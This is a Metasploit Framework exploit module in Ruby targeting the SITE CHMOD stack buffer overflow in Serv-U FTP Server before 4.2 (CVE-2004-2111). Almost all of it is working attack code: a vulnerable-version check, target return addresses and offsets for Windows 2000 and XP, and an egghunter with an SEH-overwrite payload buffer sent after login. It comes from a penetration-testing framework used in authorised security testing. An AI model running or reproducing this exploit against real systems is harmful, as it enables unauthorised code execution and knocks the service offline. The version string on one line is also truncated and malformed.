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##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Egghunter
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
'Name' => 'Serv-U FTP Server <4.2 Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in the site chmod command
in versions of Serv-U FTP Server prior to 4.2.
You must have valid credentials to trigger this vulnerability. Exploitation
also leaves the service in a non-functional state.
},
'Author' => 'thelightcosine <thelightcosine[at]metasploit.com>',
'License' => MSF_LICENSE,
'Version' => '$Revision
,
'References' =>
[
[ 'CVE', '2004-2111'],
[ 'BID', '9483'],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Payload' =>
{
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
'DisableNops' => true,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows 2000 SP0-4 EN', {
'Ret' => 0x750212bc, #WS2HELP.DLL
'Offset' => 396 } ],
[ 'Windows XP SP0-1 EN', {
'Ret' => 0x71aa388f, #WS2HELP.DLL
'Offset' => 394 } ]
],
'DisclosureDate' => 'Dec 31 2004',
'DefaultTarget' => 0))
end
def check
connect
disconnect
if (banner =~ /Serv-U FTP Server v((4.(0|1))|3.\d)/)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
connect_login
eggoptions =
{
:checksum => true,
:eggtag => "W00T"
}
hunter,egg = generate_egghunter(payload.encoded,payload_badchars,eggoptions)
buffer = "chmod 777 "
buffer << make_nops(target['Offset'] - egg.length - hunter.length)
buffer << egg
buffer << hunter
buffer << "\xeb\xc9\x41\x41" #nseh, jump back to egghunter
buffer << [target.ret].pack('V') #seh
buffer << rand_text(5000)
print_status("Trying target #{target.name}...")
send_cmd( ['SITE', buffer] , false)
handler
disconnect
end
end
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